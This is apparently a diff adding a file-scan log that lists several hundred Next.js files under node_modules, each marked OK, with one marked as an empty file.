+/scan/node_modules/next/dist/shared/lib/router/utils/escape-path-delimiters.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/app-paths.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-bot.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/sorted-routes.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/relativize-url.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-path-prefix.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-asset-path-from-route.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/escape-path-delimiters.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/get-asset-path-from-route.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/path-has-prefix.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/prepare-destination.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/add-path-prefix.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-trailing-slash.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/compare-states.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/is-dynamic.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/route-regex.js: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/middleware-route-matcher.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/app-paths.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/remove-trailing-slash.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/utils/omit.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/router.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/router.js: OK
+/scan/node_modules/next/dist/shared/lib/router/adapters.js: OK
+/scan/node_modules/next/dist/shared/lib/router/adapters.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/adapters.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/router.d.ts: OK
+/scan/node_modules/next/dist/shared/lib/router/action-queue.js: OK
+/scan/node_modules/next/dist/shared/lib/router/action-queue.js.map: OK
+/scan/node_modules/next/dist/shared/lib/router/adapters.test.d.ts: OK
+/scan/node_modules/next/dist/cli/next-export.d.ts: OK
+/scan/node_modules/next/dist/cli/next-lint.d.ts: OK
+/scan/node_modules/next/dist/cli/next-telemetry.js.map: OK
+/scan/node_modules/next/dist/cli/next-info.d.ts: OK
+/scan/node_modules/next/dist/cli/next-start.js: OK
+/scan/node_modules/next/dist/cli/next-build.js: OK
+/scan/node_modules/next/dist/cli/next-build.js.map: OK
+/scan/node_modules/next/dist/cli/next-info.js.map: OK
+/scan/node_modules/next/dist/cli/next-lint.js.map: OK
+/scan/node_modules/next/dist/cli/next-info.js: OK
+/scan/node_modules/next/dist/cli/next-dev.d.ts: OK
+/scan/node_modules/next/dist/cli/next-lint.js: OK
+/scan/node_modules/next/dist/cli/next-dev.js: OK
+/scan/node_modules/next/dist/cli/next-build.d.ts: OK
+/scan/node_modules/next/dist/cli/next-export.js.map: OK
+/scan/node_modules/next/dist/cli/next-export.js: OK
+/scan/node_modules/next/dist/cli/next-telemetry.js: OK
+/scan/node_modules/next/dist/cli/next-telemetry.d.ts: OK
+/scan/node_modules/next/dist/cli/next-dev.js.map: OK
+/scan/node_modules/next/dist/cli/next-start.d.ts: OK
+/scan/node_modules/next/dist/cli/next-start.js.map: OK
+/scan/node_modules/next/dist/lib/build-custom-route.js: OK
+/scan/node_modules/next/dist/lib/constants.js: OK
+/scan/node_modules/next/dist/lib/url.js.map: OK
+/scan/node_modules/next/dist/lib/semver-noop.d.ts: OK
+/scan/node_modules/next/dist/lib/wait.js: OK
+/scan/node_modules/next/dist/lib/constants.d.ts: OK
+/scan/node_modules/next/dist/lib/recursive-copy.js.map: OK
+/scan/node_modules/next/dist/lib/redirect-status.d.ts: OK
+/scan/node_modules/next/dist/lib/wait.d.ts: OK
+/scan/node_modules/next/dist/lib/detached-promise.js.map: OK
+/scan/node_modules/next/dist/lib/verify-partytown-setup.js: OK
+/scan/node_modules/next/dist/lib/scheduler.js.map: OK
+/scan/node_modules/next/dist/lib/find-root.d.ts: OK
+/scan/node_modules/next/dist/lib/needs-experimental-react.js: OK
+/scan/node_modules/next/dist/lib/recursive-delete.js: OK
+/scan/node_modules/next/dist/lib/with-promise-cache.d.ts: OK
+/scan/node_modules/next/dist/lib/load-custom-routes.js: OK
+/scan/node_modules/next/dist/lib/batcher.js.map: OK
+/scan/node_modules/next/dist/lib/recursive-readdir.d.ts: OK
+/scan/node_modules/next/dist/lib/install-dependencies.js: OK
+/scan/node_modules/next/dist/lib/detect-typo.js: OK
+/scan/node_modules/next/dist/lib/non-nullable.js: OK
+/scan/node_modules/next/dist/lib/resolve-from.js: OK
+/scan/node_modules/next/dist/lib/worker.js.map: OK
+/scan/node_modules/next/dist/lib/realpath.js.map: OK
+/scan/node_modules/next/dist/lib/recursive-delete.js.map: OK
+/scan/node_modules/next/dist/lib/verify-partytown-setup.js.map: OK
+/scan/node_modules/next/dist/lib/detect-typo.js.map: OK
+/scan/node_modules/next/dist/lib/load-custom-routes.js.map: OK
+/scan/node_modules/next/dist/lib/page-types.d.ts: OK
+/scan/node_modules/next/dist/lib/format-cli-help-output.js: OK
+/scan/node_modules/next/dist/lib/client-reference.js.map: OK
+/scan/node_modules/next/dist/lib/verifyAndLint.d.ts: OK
+/scan/node_modules/next/dist/lib/detached-promise.d.ts: OK
+/scan/node_modules/next/dist/lib/is-app-route-route.js.map: OK
+/scan/node_modules/next/dist/lib/try-to-parse-path.js.map: OK
+/scan/node_modules/next/dist/lib/with-promise-cache.js: OK
+/scan/node_modules/next/dist/lib/memory/shutdown.js.map: OK
+/scan/node_modules/next/dist/lib/memory/trace.d.ts: OK
+/scan/node_modules/next/dist/lib/memory/startup.d.ts: OK
+/scan/node_modules/next/dist/lib/memory/shutdown.d.ts: OK
+/scan/node_modules/next/dist/lib/memory/shutdown.js: OK
+/scan/node_modules/next/dist/lib/memory/startup.js: OK
+/scan/node_modules/next/dist/lib/memory/trace.js: OK
+/scan/node_modules/next/dist/lib/memory/trace.js.map: OK
+/scan/node_modules/next/dist/lib/memory/gc-observer.js.map: OK
+/scan/node_modules/next/dist/lib/memory/gc-observer.d.ts: OK
+/scan/node_modules/next/dist/lib/memory/gc-observer.js: OK
+/scan/node_modules/next/dist/lib/memory/startup.js.map: OK
+/scan/node_modules/next/dist/lib/format-dynamic-import-path.js: OK
+/scan/node_modules/next/dist/lib/is-api-route.js: OK
+/scan/node_modules/next/dist/lib/is-internal-component.js.map: OK
+/scan/node_modules/next/dist/lib/format-dynamic-import-path.d.ts: OK
+/scan/node_modules/next/dist/lib/format-server-error.js.map: OK
+/scan/node_modules/next/dist/lib/is-error.d.ts: OK
+/scan/node_modules/next/dist/lib/detached-promise.js: OK
+/scan/node_modules/next/dist/lib/oxford-comma-list.d.ts: OK
+/scan/node_modules/next/dist/lib/find-config.d.ts: OK
+/scan/node_modules/next/dist/lib/with-promise-cache.js.map: OK
+/scan/node_modules/next/dist/lib/redirect-status.js.map: OK
+/scan/node_modules/next/dist/lib/compile-error.d.ts: OK
+/scan/node_modules/next/dist/lib/mkcert.js: OK
+/scan/node_modules/next/dist/lib/is-error.js: OK
+/scan/node_modules/next/dist/lib/patch-incorrect-lockfile.js.map: OK
+/scan/node_modules/next/dist/lib/semver-noop.js.map: OK
+/scan/node_modules/next/dist/lib/format-cli-help-output.d.ts: OK
+/scan/node_modules/next/dist/lib/turbopack-warning.js: OK
+/scan/node_modules/next/dist/lib/verify-root-layout.js.map: OK
+/scan/node_modules/next/dist/lib/get-files-in-dir.js.map: OK
+/scan/node_modules/next/dist/lib/worker.js: OK
+/scan/node_modules/next/dist/lib/typescript/runTypeCheck.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/writeAppTypeDeclarations.js: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptIntent.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/writeConfigurationDefaults.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptIntent.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptConfiguration.js: OK
+/scan/node_modules/next/dist/lib/typescript/writeAppTypeDeclarations.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/runTypeCheck.js: OK
+/scan/node_modules/next/dist/lib/typescript/missingDependencyError.js: OK
+/scan/node_modules/next/dist/lib/typescript/missingDependencyError.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/writeConfigurationDefaults.js: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptConfiguration.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/missingDependencyError.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptConfiguration.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/diagnosticFormatter.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/getTypeScriptIntent.js: OK
+/scan/node_modules/next/dist/lib/typescript/diagnosticFormatter.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/runTypeCheck.d.ts: OK
+/scan/node_modules/next/dist/lib/typescript/writeAppTypeDeclarations.js.map: OK
+/scan/node_modules/next/dist/lib/typescript/diagnosticFormatter.js: OK
+/scan/node_modules/next/dist/lib/typescript/writeConfigurationDefaults.js.map: OK
+/scan/node_modules/next/dist/lib/verifyAndLint.js.map: OK
+/scan/node_modules/next/dist/lib/is-api-route.js.map: OK
+/scan/node_modules/next/dist/lib/setup-exception-listeners.js.map: OK
+/scan/node_modules/next/dist/lib/get-package-version.d.ts: OK
+/scan/node_modules/next/dist/lib/interop-default.js: OK
+/scan/node_modules/next/dist/lib/recursive-copy.js: OK
+/scan/node_modules/next/dist/lib/mime-type.js.map: OK
+/scan/node_modules/next/dist/lib/verify-typescript-setup.js.map: OK
+/scan/node_modules/next/dist/lib/verify-typescript-setup.d.ts: OK
+/scan/node_modules/next/dist/lib/load-custom-routes.d.ts: OK
+/scan/node_modules/next/dist/lib/verifyAndLint.js: OK
+/scan/node_modules/next/dist/lib/find-root.js: OK
+/scan/node_modules/next/dist/lib/create-client-router-filter.js.map: OK
+/scan/node_modules/next/dist/lib/get-project-dir.js: OK
+/scan/node_modules/next/dist/lib/recursive-readdir.js: OK
+/scan/node_modules/next/dist/lib/recursive-copy.d.ts: OK
+/scan/node_modules/next/dist/lib/known-edge-safe-packages.json: OK
+/scan/node_modules/next/dist/lib/create-client-router-filter.d.ts: OK
+/scan/node_modules/next/dist/lib/pick.d.ts: OK
+/scan/node_modules/next/dist/lib/recursive-readdir.js.map: OK
+/scan/node_modules/next/dist/lib/constants.js.map: OK
+/scan/node_modules/next/dist/lib/import-next-warning.js: OK
+/scan/node_modules/next/dist/lib/find-root.js.map: OK
+/scan/node_modules/next/dist/lib/mkcert.d.ts: OK
+/scan/node_modules/next/dist/lib/try-to-parse-path.js: OK
+/scan/node_modules/next/dist/lib/is-app-route-route.d.ts: OK
+/scan/node_modules/next/dist/lib/get-package-version.js: OK
+/scan/node_modules/next/dist/lib/try-to-parse-path.d.ts: OK
+/scan/node_modules/next/dist/lib/get-package-version.js.map: OK
+/scan/node_modules/next/dist/lib/format-dynamic-import-path.js.map: OK
+/scan/node_modules/next/dist/lib/compile-error.js: OK
+/scan/node_modules/next/dist/lib/is-internal-component.js: OK
+/scan/node_modules/next/dist/lib/get-files-in-dir.d.ts: OK
+/scan/node_modules/next/dist/lib/interop-default.js.map: OK
+/scan/node_modules/next/dist/lib/worker.d.ts: OK
+/scan/node_modules/next/dist/lib/picocolors.js: OK
+/scan/node_modules/next/dist/lib/is-edge-runtime.d.ts: OK
+/scan/node_modules/next/dist/lib/verify-typescript-setup.js: OK
+/scan/node_modules/next/dist/lib/server-external-packages.json: OK
+/scan/node_modules/next/dist/lib/recursive-delete.d.ts: OK
+/scan/node_modules/next/dist/lib/download-swc.js: OK
+/scan/node_modules/next/dist/lib/setup-exception-listeners.js: OK
+/scan/node_modules/next/dist/lib/is-app-page-route.js: OK
+/scan/node_modules/next/dist/lib/file-exists.js.map: OK
+/scan/node_modules/next/dist/lib/non-nullable.js.map: OK
+/scan/node_modules/next/dist/lib/realpath.js: OK
+/scan/node_modules/next/dist/lib/verify-root-layout.js: OK
+/scan/node_modules/next/dist/lib/wait.js.map: OK
+/scan/node_modules/next/dist/lib/find-config.js: OK
+/scan/node_modules/next/dist/lib/patch-incorrect-lockfile.d.ts: OK
+/scan/node_modules/next/dist/lib/client-reference.d.ts: OK
+/scan/node_modules/next/dist/lib/is-internal-component.d.ts: OK
+/scan/node_modules/next/dist/lib/find-pages-dir.d.ts: OK
+/scan/node_modules/next/dist/lib/turbopack-warning.d.ts: OK
+/scan/node_modules/next/dist/lib/find-config.test.d.ts: OK
+/scan/node_modules/next/dist/lib/realpath.d.ts: OK
+/scan/node_modules/next/dist/lib/semver-noop.js: OK
+/scan/node_modules/next/dist/lib/fatal-error.js: OK
+/scan/node_modules/next/dist/lib/url.d.ts: OK
+/scan/node_modules/next/dist/lib/coalesced-function.js.map: OK
+/scan/node_modules/next/dist/lib/scheduler.js: OK
+/scan/node_modules/next/dist/lib/page-types.js: OK
+/scan/node_modules/next/dist/lib/fatal-error.js.map: OK
+/scan/node_modules/next/dist/lib/generate-interception-routes-rewrites.js.map: OK
+/scan/node_modules/next/dist/lib/detect-typo.d.ts: OK
+/scan/node_modules/next/dist/lib/mime-type.js: OK
+/scan/node_modules/next/dist/lib/scheduler.d.ts: OK
+/scan/node_modules/next/dist/lib/verify-partytown-setup.d.ts: OK
+/scan/node_modules/next/dist/lib/file-exists.js: OK
+/scan/node_modules/next/dist/lib/patch-incorrect-lockfile.js: OK
+/scan/node_modules/next/dist/lib/batcher.d.ts: OK
+/scan/node_modules/next/dist/lib/is-api-route.d.ts: OK
+/scan/node_modules/next/dist/lib/batcher.js: OK
+/scan/node_modules/next/dist/lib/find-pages-dir.js: OK
+/scan/node_modules/next/dist/lib/interop-default.d.ts: OK
+/scan/node_modules/next/dist/lib/client-reference.js: OK
+/scan/node_modules/next/dist/lib/create-client-router-filter.js: OK
+/scan/node_modules/next/dist/lib/find-config.js.map: OK
+/scan/node_modules/next/dist/lib/fatal-error.d.ts: OK
+/scan/node_modules/next/dist/lib/download-swc.js.map: OK
+/scan/node_modules/next/dist/lib/find-pages-dir.js.map: OK
+/scan/node_modules/next/dist/lib/is-app-page-route.d.ts: OK
+/scan/node_modules/next/dist/lib/format-server-error.js: OK
+/scan/node_modules/next/dist/lib/download-swc.d.ts: OK
+/scan/node_modules/next/dist/lib/oxford-comma-list.js.map: OK
+/scan/node_modules/next/dist/lib/get-files-in-dir.js: OK
+/scan/node_modules/next/dist/lib/eslint/writeOutputFile.d.ts: OK
+/scan/node_modules/next/dist/lib/eslint/runLintCheck.d.ts: OK
+/scan/node_modules/next/dist/lib/eslint/hasEslintConfiguration.js: OK
+/scan/node_modules/next/dist/lib/eslint/writeOutputFile.js: OK
+/scan/node_modules/next/dist/lib/eslint/customFormatter.d.ts: OK
+/scan/node_modules/next/dist/lib/eslint/customFormatter.js.map: OK
+/scan/node_modules/next/dist/lib/eslint/hasEslintConfiguration.js.map: OK
+/scan/node_modules/next/dist/lib/eslint/hasEslintConfiguration.d.ts: OK
+/scan/node_modules/next/dist/lib/eslint/runLintCheck.js.map: OK
+/scan/node_modules/next/dist/lib/eslint/writeDefaultConfig.d.ts: OK
+/scan/node_modules/next/dist/lib/eslint/writeDefaultConfig.js: OK
+/scan/node_modules/next/dist/lib/eslint/runLintCheck.js: OK
+/scan/node_modules/next/dist/lib/eslint/writeDefaultConfig.js.map: OK
+/scan/node_modules/next/dist/lib/eslint/writeOutputFile.js.map: OK
+/scan/node_modules/next/dist/lib/eslint/customFormatter.js: OK
+/scan/node_modules/next/dist/lib/get-project-dir.js.map: OK
+/scan/node_modules/next/dist/lib/has-necessary-dependencies.d.ts: OK
+/scan/node_modules/next/dist/lib/has-necessary-dependencies.js: OK
+/scan/node_modules/next/dist/lib/mime-type.d.ts: OK
+/scan/node_modules/next/dist/lib/redirect-status.js: OK
+/scan/node_modules/next/dist/lib/format-cli-help-output.js.map: OK
+/scan/node_modules/next/dist/lib/resolve-from.js.map: OK
+/scan/node_modules/next/dist/lib/has-necessary-dependencies.js.map: OK
+/scan/node_modules/next/dist/lib/file-exists.d.ts: OK
+/scan/node_modules/next/dist/lib/setup-exception-listeners.d.ts: Empty file
+/scan/node_modules/next/dist/lib/pretty-bytes.d.ts: OK
+/scan/node_modules/next/dist/lib/install-dependencies.d.ts: OK
+/scan/node_modules/next/dist/lib/is-edge-runtime.js: OK
+/scan/node_modules/next/dist/lib/pick.js: OK
+/scan/node_modules/next/dist/lib/is-app-page-route.js.map: OK
+/scan/node_modules/next/dist/lib/pick.js.map: OK
+/scan/node_modules/next/dist/lib/generate-interception-routes-rewrites.js: OK
+/scan/node_modules/next/dist/lib/generate-interception-routes-rewrites.d.ts: OK
+/scan/node_modules/next/dist/lib/needs-experimental-react.js.map: OK
+/scan/node_modules/next/dist/lib/import-next-warning.d.ts: OK
+/scan/node_modules/next/dist/lib/build-custom-route.d.ts: OK
+/scan/node_modules/next/dist/lib/page-types.js.map: OK
+/scan/node_modules/next/dist/lib/is-edge-runtime.js.map: OK
+/scan/node_modules/next/dist/lib/needs-experimental-react.d.ts: OK
+/scan/node_modules/next/dist/lib/picocolors.js.map: OK
+/scan/node_modules/next/dist/lib/url.js: OK
+/scan/node_modules/next/dist/lib/pretty-bytes.js.map: OK
+/scan/node_modules/next/dist/lib/oxford-comma-list.js: OK
+/scan/node_modules/next/dist/lib/batcher.test.d.ts: OK
+/scan/node_modules/next/dist/lib/fs/write-atomic.d.ts: OK
+/scan/node_modules/next/dist/lib/fs/rename.js: OK
+/scan/node_modules/next/dist/lib/fs/rename.js.map: OK
+/scan/node_modules/next/dist/lib/fs/write-atomic.js.map: OK
+/scan/node_modules/next/dist/lib/fs/write-atomic.js: OK
+/scan/node_modules/next/dist/lib/fs/rename.d.ts: OK
+/scan/node_modules/next/dist/lib/coalesced-function.d.ts: OK
+/scan/node_modules/next/dist/lib/mkcert.js.map: OK
+/scan/node_modules/next/dist/lib/format-server-error.test.d.ts: OK
+/scan/node_modules/next/dist/lib/coalesced-function.js: OK
+/scan/node_modules/next/dist/lib/resolve-from.d.ts: OK
+/scan/node_modules/next/dist/lib/install-dependencies.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/constants.js: OK
+/scan/node_modules/next/dist/lib/metadata/get-metadata-route.js: OK
+/scan/node_modules/next/dist/lib/metadata/constants.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolve-metadata.test.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/resolvers.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/extra-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/extra-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/twitter-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-interface.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-interface.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/twitter-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/twitter-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/resolvers.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/alternative-urls-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/extra-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-interface.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/opengraph-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/manifest-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/manifest-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/opengraph-types.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/types/metadata-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/alternative-urls-types.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/types/opengraph-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/alternative-urls-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/manifest-types.js: OK
+/scan/node_modules/next/dist/lib/metadata/types/resolvers.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/default-metadata.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/default-metadata.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/get-metadata-route.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/is-metadata-route.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/clone-metadata.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/metadata.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/constants.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/is-metadata-route.js: OK
+/scan/node_modules/next/dist/lib/metadata/metadata.js: OK
+/scan/node_modules/next/dist/lib/metadata/resolve-metadata.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-basics.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-basics.js: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-title.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-title.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-icons.js: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-icons.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-opengraph.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-opengraph.test.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-basics.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-opengraph.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-opengraph.js: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-icons.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-url.test.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-title.test.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-title.js: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-url.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-url.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/resolvers/resolve-url.js: OK
+/scan/node_modules/next/dist/lib/metadata/is-metadata-route.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/default-metadata.js: OK
+/scan/node_modules/next/dist/lib/metadata/metadata.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/icons.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/icons.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/icons.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/generate/basic.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/alternate.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/generate/opengraph.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/meta.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/alternate.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/alternate.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/utils.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/generate/meta.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/basic.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/utils.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/utils.js.map: OK
+/scan/node_modules/next/dist/lib/metadata/generate/opengraph.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/generate/opengraph.js: OK
+/scan/node_modules/next/dist/lib/metadata/generate/meta.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/generate/basic.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolve-metadata.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/clone-metadata.js: OK
+/scan/node_modules/next/dist/lib/metadata/clone-metadata.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/get-metadata-route.d.ts: OK
+/scan/node_modules/next/dist/lib/metadata/resolve-metadata.js: OK
+/scan/node_modules/next/dist/lib/is-serializable-props.js: OK
+/scan/node_modules/next/dist/lib/helpers/install.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-npx-command.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-reserved-port.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-cache-directory.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-online.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-cache-directory.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-npx-command.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-online.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-registry.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-registry.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-npx-command.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-pkg-manager.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-reserved-port.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-reserved-port.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/install.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-pkg-manager.d.ts: OK
+/scan/node_modules/next/dist/lib/helpers/get-online.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-pkg-manager.js: OK
+/scan/node_modules/next/dist/lib/helpers/get-registry.js.map: OK
+/scan/node_modules/next/dist/lib/helpers/get-cache-directory.js: OK
+/scan/node_modules/next/dist/lib/helpers/install.d.ts: OK
+/scan/node_modules/next/dist/lib/compile-error.js.map: OK
+/scan/node_modules/next/dist/lib/turbopack-warning.js.map: OK
+/scan/node_modules/next/dist/lib/picocolors.d.ts: OK
+/scan/node_modules/next/dist/lib/get-project-dir.d.ts: OK
+/scan/node_modules/next/dist/lib/import-next-warning.js.map: OK
+/scan/node_modules/next/dist/lib/build-custom-route.js.map: OK
+/scan/node_modules/next/dist/lib/is-error.js.map: OK
+/scan/node_modules/next/dist/lib/is-serializable-props.d.ts: OK
+/scan/node_modules/next/dist/lib/format-server-error.d.ts: OK
+/scan/node_modules/next/dist/lib/is-app-route-route.js: OK
+/scan/node_modules/next/dist/lib/non-nullable.d.ts: OK
+/scan/node_modules/next/dist/lib/verify-root-layout.d.ts: OK
+/scan/node_modules/next/dist/lib/pretty-bytes.js: OK
+/scan/node_modules/next/dist/lib/is-serializable-props.js.map: OK
+/scan/node_modules/next/dist/api/constants.js: OK
+/scan/node_modules/next/dist/api/navigation.d.ts: OK
+/scan/node_modules/next/dist/api/constants.d.ts: OK
+/scan/node_modules/next/dist/api/og.d.ts: OK
+/scan/node_modules/next/dist/api/document.js.map: OK
+/scan/node_modules/next/dist/api/dynamic.js.map: OK
+/scan/node_modules/next/dist/api/app.js.map: OK
+/scan/node_modules/next/dist/api/script.d.ts: OK
+/scan/node_modules/next/dist/api/app.d.ts: OK
+/scan/node_modules/next/dist/api/server.d.ts: OK
+/scan/node_modules/next/dist/api/image.js.map: OK
+/scan/node_modules/next/dist/api/og.js.map: OK
+/scan/node_modules/next/dist/api/server.js: OK
+/scan/node_modules/next/dist/api/head.d.ts: OK
+/scan/node_modules/next/dist/api/app-dynamic.js.map: OK
+/scan/node_modules/next/dist/api/link.js: OK
+/scan/node_modules/next/dist/api/navigation.react-server.d.ts: OK
+/scan/node_modules/next/dist/api/dynamic.d.ts: OK
+/scan/node_modules/next/dist/api/constants.js.map: OK
+/scan/node_modules/next/dist/api/navigation.react-server.js: OK
+/scan/node_modules/next/dist/api/server.js.map: OK
+/scan/node_modules/next/dist/api/head.js.map: OK
+/scan/node_modules/next/dist/api/router.js.map: OK
+/scan/node_modules/next/dist/api/script.js: OK
+/scan/node_modules/next/dist/api/headers.js: OK
+/scan/node_modules/next/dist/api/document.d.ts: OK
+/scan/node_modules/next/dist/api/headers.d.ts: OK
+/scan/node_modules/next/dist/api/router.js: OK
+/scan/node_modules/next/dist/api/navigation.js: OK
+/scan/node_modules/next/dist/api/app-dynamic.js: OK
+/scan/node_modules/next/dist/api/link.js.map: OK
+/scan/node_modules/next/dist/api/image.js: OK
+/scan/node_modules/next/dist/api/navigation.js.map: OK
+/scan/node_modules/next/dist/api/og.js: OK
+/scan/node_modules/next/dist/api/app-dynamic.d.ts: OK
+/scan/node_modules/next/dist/api/headers.js.map: OK
+/scan/node_modules/next/dist/api/router.d.ts: OK
+/scan/node_modules/next/dist/api/script.js.map: OK
+/scan/node_modules/next/dist/api/dynamic.js: OK
+/scan/node_modules/next/dist/api/link.d.ts: OK
+/scan/node_modules/next/dist/api/image.d.ts: OK
+/scan/node_modules/next/dist/api/app.js: OK
+/scan/node_modules/next/dist/api/head.js: OK
+/scan/node_modules/next/dist/api/document.js: OK
+/scan/node_modules/next/dist/api/navigation.react-server.js.map: OK
+/scan/node_modules/next/dist/telemetry/detached-flush.js: OK
+/scan/node_modules/next/dist/telemetry/flush-and-exit.js: OK
+/scan/node_modules/next/dist/telemetry/project-id.d.ts: OK
+/scan/node_modules/next/dist/telemetry/storage.js.map: OK
+/scan/node_modules/next/dist/telemetry/project-id.js.map: OK
+/scan/node_modules/next/dist/telemetry/detached-flush.js.map: OK
+/scan/node_modules/next/dist/telemetry/ci-info.d.ts: OK
